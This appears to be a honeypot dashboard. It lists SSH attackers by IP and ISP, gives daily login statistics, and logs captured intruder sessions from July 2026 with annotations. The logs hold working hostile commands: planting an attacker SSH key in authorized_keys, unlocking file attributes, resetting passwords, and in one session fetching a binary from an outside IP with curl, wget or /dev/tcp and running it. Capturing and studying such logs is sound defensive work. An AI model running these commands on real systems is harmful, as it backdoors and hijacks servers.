Honeypot Dashboard

Attacker	Origin	ISP	Attempts
ghost_root 10.0.28.1	🏴 Unknown	Unknown	52899
strudel_root 5.182.207.11	🇩🇪 Frankfurt am Main	Dominic Scholz trading as ITP-Solutions GmbH & Co. KG	3084
bike_sol 91.92.42.7	🇳🇱 Amsterdam	TechTies Inc.	2283
windmill_sol 45.156.87.204	🇳🇱 Eygelshoven	TechTies Inc.	2283
dutch_sol 45.153.34.165	🇳🇱 Amsterdam	TechTies Inc.	2283
bike_sol_2 91.92.40.202	🇳🇱 Amsterdam	TechTies Inc.	2283
dutch_sol_2 45.153.34.161	🇳🇱 Amsterdam	TechTies Inc.	1522
bike_sol_3 91.92.40.200	🇳🇱 Amsterdam	TechTies Inc.	1522
clog_sol 91.92.42.61	🇳🇱 Eygelshoven	TechTies Inc.	1520
shadow_sol 155.103.69.40	🇹🇷 Istanbul	FibaCloud	1518

Date	Sessions	Login Attempts	Successful	Unique IPs	Commands	Top Attacker
2026-07-16	6410	6494	32	125	243	ghost_root (10.0.28.1)
2026-07-15	7828	7831	233	475	357	ghost_root (10.0.28.1)
2026-07-14	7496	7569	113	303	324	ghost_root (10.0.28.1)
2026-07-13	7955	7927	79	206	330	ghost_root (10.0.28.1)
2026-07-12	8714	8893	171	145	462	ghost_root (10.0.28.1)
2026-07-11	8737	8924	167	180	361	ghost_root (10.0.28.1)
2026-07-10	6818	6870	74	174	634	ghost_root (10.0.28.1)
2026-07-09	6658	6537	55	194	525	ghost_root (10.0.28.1)
2026-07-08	7647	7505	69	214	657	ghost_root (10.0.28.1)
2026-07-07	8048	7899	73	216	725	ghost_root (10.0.28.1)
2026-07-06	8007	7917	73	224	900	ghost_root (10.0.28.1)
2026-07-05	6346	6101	107	198	679	ghost_root (10.0.28.1)
2026-07-04	8532	8497	268	281	1566	ghost_root (10.0.28.1)
2026-07-03	8585	8490	93	219	741	ghost_root (10.0.28.1)
2026-07-02	7797	7789	106	230	835	ghost_root (10.0.28.1)
2026-07-01	7844	7876	131	225	1032	ghost_root (10.0.28.1)
2026-06-30	5239	4999	172	237	1484	ghost_root (10.0.28.1)
2026-06-29	2458	2461	28	45	55	bike_sol (91.92.42.7)
2026-06-28	4429	4371	54	123	388	ghost_root (10.0.28.1)

🎭 gouda_sol (45.156.87.147) — Amsterdam, The Netherlands · 5 sessions · 5 cmds

2026-07-09 21:30 EDT · as admin/123456789, admin/admin, root/1qaz2wsx

Ran uname 5x across 5 sessions — automated OS fingerprinting.

$ uname -s -v -n -r -m ×5

🎭 star_root_7 (107.172.43.200) — Buffalo, United States · 1 session · 20 cmds

2026-07-16 15:50 EDT · as smb/smbpass

file attribute tampering → SSH key persistence → CPU profiling

$ cd ~; chattr -ia .ssh; lockr -ia .ssh // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l // CPU profiling

$ echo -e "smbpass\n9Mh0q1PKXmO4\n9Mh0q1PKXmO4"|passwd|bash

$ Enter new UNIX password:

$ echo "smbpass\n9Mh0q1PKXmO4\n9Mh0q1PKXmO4\n"|passwd

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

$ ls -lh $(which ls)

$ which ls

$ crontab -l // persistence setup

$ w // logged-in users check

$ uname -m

$ cat /proc/cpuinfo | grep model | grep name | wc -l // CPU profiling

$ top // process monitoring

$ uname // OS identification

$ uname -a // OS/kernel identification

$ whoami // privilege check

$ lscpu | grep Model

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

🎭 specter_root_28 (217.156.66.34) — Chisinau, Moldova · 1 session · 19 cmds

2026-07-16 14:49 EDT · as root/q1w2e3r4@

file attribute tampering → SSH key persistence → CPU profiling → execute from /tmp → persistence setup

$ cd ~; chattr -ia .ssh; lockr -ia .ssh // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l // CPU profiling

$ echo "root:r5SnFLd67Xf5"|chpasswd|bash

$ rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep; // execute from /tmp

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

$ ls -lh $(which ls)

$ which ls

$ crontab -l // persistence setup

$ w // logged-in users check

$ uname -m

$ cat /proc/cpuinfo | grep model | grep name | wc -l // CPU profiling

$ top // process monitoring

$ uname // OS identification

$ uname -a // OS/kernel identification

$ whoami // privilege check

$ lscpu | grep Model

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

🎭 bike_sol_2 (91.92.40.202) — Amsterdam, The Netherlands · 6 sessions · 6 cmds

2026-07-03 18:33 EDT · as admin/admin, master/master, root/Aa123456

Ran uname 6x across 6 sessions — automated OS fingerprinting.

$ uname -s -v -n -r -m ×6

🎭 ghost_root_16 (103.229.125.106) — San Po Kong, Hong Kong · 1 session · 20 cmds

2026-07-16 13:53 EDT · as hari/123

file attribute tampering → SSH key persistence → CPU profiling

$ cd ~; chattr -ia .ssh; lockr -ia .ssh // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l // CPU profiling

$ echo -e "123\nzaDhfI3w4Bfi\nzaDhfI3w4Bfi"|passwd|bash

$ Enter new UNIX password:

$ echo "123\nzaDhfI3w4Bfi\nzaDhfI3w4Bfi\n"|passwd

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

$ ls -lh $(which ls)

$ which ls

$ crontab -l // persistence setup

$ w // logged-in users check

$ uname -m

$ cat /proc/cpuinfo | grep model | grep name | wc -l // CPU profiling

$ top // process monitoring

$ uname // OS identification

$ uname -a // OS/kernel identification

$ whoami // privilege check

$ lscpu | grep Model

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

🎭 fog_root (35.246.80.146) — London, United Kingdom · 2 sessions · 39 cmds

2026-07-02 15:42 EDT · as root/00000, user/Admin@1234

file attribute tampering → SSH key persistence → CPU profiling → execute from /tmp → persistence setup

$ cd ~; chattr -ia .ssh; lockr -ia .ssh ×2 // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ ×2 // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l ×2 // CPU profiling

$ echo "root:8yeLpwYPFJXH"|chpasswd|bash

$ rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep; // execute from /tmp

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' ×2 // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}' ×2

$ ls -lh $(which ls) ×2

$ which ls ×2

$ crontab -l ×2 // persistence setup

$ w ×2 // logged-in users check

$ uname -m ×2

$ cat /proc/cpuinfo | grep model | grep name | wc -l ×2 // CPU profiling

$ top ×2 // process monitoring

$ uname ×2 // OS identification

$ uname -a ×2 // OS/kernel identification

$ whoami ×2 // privilege check

$ lscpu | grep Model ×2

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}' ×2

$ echo -e "Admin@1234\nGbguwFH0kaw1\nGbguwFH0kaw1"|passwd|bash

$ Enter new UNIX password:

$ echo "Admin@1234\nGbguwFH0kaw1\nGbguwFH0kaw1\n"|passwd

🎭 crepe_root_2 (185.142.53.15) — Paris, France · 1 session · 20 cmds

2026-07-16 11:36 EDT · as xmr/xmr

file attribute tampering → SSH key persistence → CPU profiling

$ cd ~; chattr -ia .ssh; lockr -ia .ssh // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l // CPU profiling

$ echo -e "xmr\nG3zsnvVDgo2Z\nG3zsnvVDgo2Z"|passwd|bash

$ Enter new UNIX password:

$ echo "xmr\nG3zsnvVDgo2Z\nG3zsnvVDgo2Z\n"|passwd

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

$ ls -lh $(which ls)

$ which ls

$ crontab -l // persistence setup

$ w // logged-in users check

$ uname -m

$ cat /proc/cpuinfo | grep model | grep name | wc -l // CPU profiling

$ top // process monitoring

$ uname // OS identification

$ uname -a // OS/kernel identification

$ whoami // privilege check

$ lscpu | grep Model

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

🎭 specter_root_29 (206.237.127.94) — Tai Wo Hau, Hong Kong · 1 session · 19 cmds

2026-07-16 08:36 EDT · as root/00000

file attribute tampering → SSH key persistence → CPU profiling → execute from /tmp → persistence setup

$ cd ~; chattr -ia .ssh; lockr -ia .ssh // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l // CPU profiling

$ echo "root:j8iJ8ffaJPuK"|chpasswd|bash

$ rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep; // execute from /tmp

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

$ ls -lh $(which ls)

$ which ls

$ crontab -l // persistence setup

$ w // logged-in users check

$ uname -m

$ cat /proc/cpuinfo | grep model | grep name | wc -l // CPU profiling

$ top // process monitoring

$ uname // OS identification

$ uname -a // OS/kernel identification

$ whoami // privilege check

$ lscpu | grep Model

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

🎭 star_root_8 (20.124.84.235) — Boydton, United States · 1 session · 19 cmds

2026-07-16 08:13 EDT · as root/Qaz123Wsx

file attribute tampering → SSH key persistence → CPU profiling → execute from /tmp → persistence setup

$ cd ~; chattr -ia .ssh; lockr -ia .ssh // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l // CPU profiling

$ echo "root:W80lmsASibHa"|chpasswd|bash

$ rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep; // execute from /tmp

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

$ ls -lh $(which ls)

$ which ls

$ crontab -l // persistence setup

$ w // logged-in users check

$ uname -m

$ cat /proc/cpuinfo | grep model | grep name | wc -l // CPU profiling

$ top // process monitoring

$ uname // OS identification

$ uname -a // OS/kernel identification

$ whoami // privilege check

$ lscpu | grep Model

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

🎭 windmill_sol_8 (91.92.47.128) — Eygelshoven, The Netherlands · 1 session · 1 cmd

2026-07-16 07:06 EDT · as fer/user123456

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ uname -s -v -n -r -m

🎭 silk_root_4 (42.51.13.91) — Shenzhen, China · 1 session · 19 cmds

2026-07-16 03:11 EDT · as root/Hq123456

file attribute tampering → SSH key persistence → CPU profiling → execute from /tmp → persistence setup

$ cd ~; chattr -ia .ssh; lockr -ia .ssh // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l // CPU profiling

$ echo "root:BkIDD7zbfzFQ"|chpasswd|bash

$ rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep; // execute from /tmp

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

$ ls -lh $(which ls)

$ which ls

$ crontab -l // persistence setup

$ w // logged-in users check

$ uname -m

$ cat /proc/cpuinfo | grep model | grep name | wc -l // CPU profiling

$ top // process monitoring

$ uname // OS identification

$ uname -a // OS/kernel identification

$ whoami // privilege check

$ lscpu | grep Model

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

🎭 panda_root_2 (101.201.61.73) — Beijing, China · 1 session · 3 cmds

2026-07-16 02:28 EDT · as root/Aa123456

echo → payload download from C2 → execute from /tmp

$ echo 1 > /dev/null && cat /bin/echo

$ nohup $SHELL -c "curl http://124.220.135.125:8924/linux -o /tmp/u0HLWFLGaX; if [ ! -f /tmp/u0HLWFLGaX ]; then wget http://124.220.135.125:8924/linux -O /tmp/u0HLWFLGaX; fi; if [ ! -f /tmp/u0HLWFLGaX ]; then exec 6<>/dev/tcp/124.220.135.125/8924 && echo -n 'GET /linux' >&6 && cat 0<&6 > /tmp/u0HLWFLGaX ; chmod +x /tmp/u0HLWFLGaX && /tmp/u0HLWFLGaX ithX+DO9gyTzo7oypKDnKIKgNehXyPbpyVX7K6KFIPOjpDqsoO0ikqcy5lTM9OnKVvAroIIr5aamObSk7SCcoDbmVMz16c9c/jCjgDHporoyp6zzIIuiK/lRz/3xylH4JaKAJfOnpjC6pO4knKI3/VzA/vXMRvk0q5wg6q26MaCh8yWDqTP+Vsnn9sBU5jemhj/spqEuoaznKIamMuhXyPbpyVX7K6KFIfOkozqjrOogkqI1+UjJ9PTWV/41vYAo56OjOaC16SacojT+SMn18tZV8D+rgSPvtac2uqTuIpyiNPhIyvT0wl/6NqCSIO2kujGnpvMggKsr+lXO/fDBXvslq5wj7K26Mqag8yWAqTP4V8j258lW+SuigSLzpKMyuqTqI4ikNPxR2Pb3yUj6NaKcJ+y7ozOuou8pgbM0+FfW8/XWUvArooIn562hNay15T+DoDHmV8z36cpU8j2qgiT9oaMupaXqP4SgK/pQwv/2ylHoNKGBP+iiujWlu+wpgakz/1bP5/PPSPk3oZwk6LumM6Ov5SKLqyX5Vsnp9stV5jSlgj/vrK42o6zpMYqhK/lTz+n2z1PmPaOIJu6mpCCloOs/gKA25lTL8unMVvIzpIMg/aSkMbqm7j+ApzDmUM798MpS/CWigiDzpKczuqTqIJylNfJezff02Ff5PL2AKPOnpDm6reUrhas8+0bJ/vXWV/wxvYMp5bumNaCv6ieFoCX5Vsnp9stV5jShij/vpqI6o6zlIpKrNOZRyOn2wFDmNKWGK+WjpzWOsDgDV1HdctMaqEo8jw5jb8JSy15ISbOk; fi; echo Aa123456 > /tmp/.opass; chmod +x /tmp/u0HLWFLGaX && /tmp/u0HLWFLGaX ithX+DO9gyTzo7oypKDnKIKgNehXyPbpyVX7K6KFIPOjpDqsoO0ikqcy5lTM9OnKVvAroIIr5aamObSk7SCcoDbmVMz16c9c/jCjgDHporoyp6zzIIuiK/lRz/3xylH4JaKAJfOnpjC6pO4knKI3/VzA/vXMRvk0q5wg6q26MaCh8yWDqTP+Vsnn9sBU5jemhj/spqEuoaznKIamMuhXyPbpyVX7K6KFIfOkozqjrOogkqI1+UjJ9PTWV/41vYAo56OjOaC16SacojT+SMn18tZV8D+rgSPvtac2uqTuIpyiNPhIyvT0wl/6NqCSIO2kujGnpvMggKsr+lXO/fDBXvslq5wj7K26Mqag8yWAqTP4V8j258lW+SuigSLzpKMyuqTqI4ikNPxR2Pb3yUj6NaKcJ+y7ozOuou8pgbM0+FfW8/XWUvArooIn562hNay15T+DoDHmV8z36cpU8j2qgiT9oaMupaXqP4SgK/pQwv/2ylHoNKGBP+iiujWlu+wpgakz/1bP5/PPSPk3oZwk6LumM6Ov5SKLqyX5Vsnp9stV5jSlgj/vrK42o6zpMYqhK/lTz+n2z1PmPaOIJu6mpCCloOs/gKA25lTL8unMVvIzpIMg/aSkMbqm7j+ApzDmUM798MpS/CWigiDzpKczuqTqIJylNfJezff02Ff5PL2AKPOnpDm6reUrhas8+0bJ/vXWV/wxvYMp5bumNaCv6ieFoCX5Vsnp9stV5jShij/vpqI6o6zlIpKrNOZRyOn2wFDmNKWGK+WjpzWOsDgDV1HdctMaqEo8jw5jb8JSy15ISbOk" & // payload download from C2

$ head -c 3716336 > /tmp/ufEC2R8WE4 // execute from /tmp

🎭 monet_root (92.205.57.72) — Strasbourg, France · 1 session · 19 cmds

2026-07-16 02:03 EDT · as root/1q2w3e4r5t

file attribute tampering → SSH key persistence → CPU profiling → execute from /tmp → persistence setup

$ cd ~; chattr -ia .ssh; lockr -ia .ssh // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l // CPU profiling

$ echo "root:SEdMDy5kB0cp"|chpasswd|bash

$ rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep; // execute from /tmp

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

$ ls -lh $(which ls)

$ which ls

$ crontab -l // persistence setup

$ w // logged-in users check

$ uname -m

$ cat /proc/cpuinfo | grep model | grep name | wc -l // CPU profiling

$ top // process monitoring

$ uname // OS identification

$ uname -a // OS/kernel identification

$ whoami // privilege check

$ lscpu | grep Model

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

🎭 wraith_2 (150.95.82.21) — Bangkok, Thailand · 1 session · 20 cmds

2026-07-16 01:54 EDT · as mohit/mohit123

file attribute tampering → SSH key persistence → CPU profiling

$ cd ~; chattr -ia .ssh; lockr -ia .ssh // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l // CPU profiling

$ echo -e "mohit123\nkTT3Up7PwTcd\nkTT3Up7PwTcd"|passwd|bash

$ Enter new UNIX password:

$ echo "mohit123\nkTT3Up7PwTcd\nkTT3Up7PwTcd\n"|passwd

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

$ ls -lh $(which ls)

$ which ls

$ crontab -l // persistence setup

$ w // logged-in users check

$ uname -m

$ cat /proc/cpuinfo | grep model | grep name | wc -l // CPU profiling

$ top // process monitoring

$ uname // OS identification

$ uname -a // OS/kernel identification

$ whoami // privilege check

$ lscpu | grep Model

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

🎭 tiger_root_3 (136.232.11.10) — Chennai, India · 1 session · 19 cmds

2026-07-15 22:45 EDT · as root/BHRT**56$wx*%*St

file attribute tampering → SSH key persistence → CPU profiling

$ cd ~; chattr -ia .ssh; lockr -ia .ssh // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l // CPU profiling

$ echo "root:P4ZHY9j9ebQ2"|chpasswd|bash

$ rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep; // execute from /tmp

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

$ ls -lh $(which ls)

$ which ls

$ crontab -l // persistence setup

$ w // logged-in users check

$ uname -m

$ cat /proc/cpuinfo | grep model | grep name | wc -l // CPU profiling

$ top // process monitoring

$ uname // OS identification

$ uname -a // OS/kernel identification

$ whoami // privilege check

$ lscpu | grep Model

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

🎭 jade_root_4 (116.181.10.110) — Jinrongjie, China · 1 session · 19 cmds

2026-07-15 21:33 EDT · as root/BHRT**56$wx*%*St

file attribute tampering → SSH key persistence → CPU profiling

$ cd ~; chattr -ia .ssh; lockr -ia .ssh // file attribute tampering

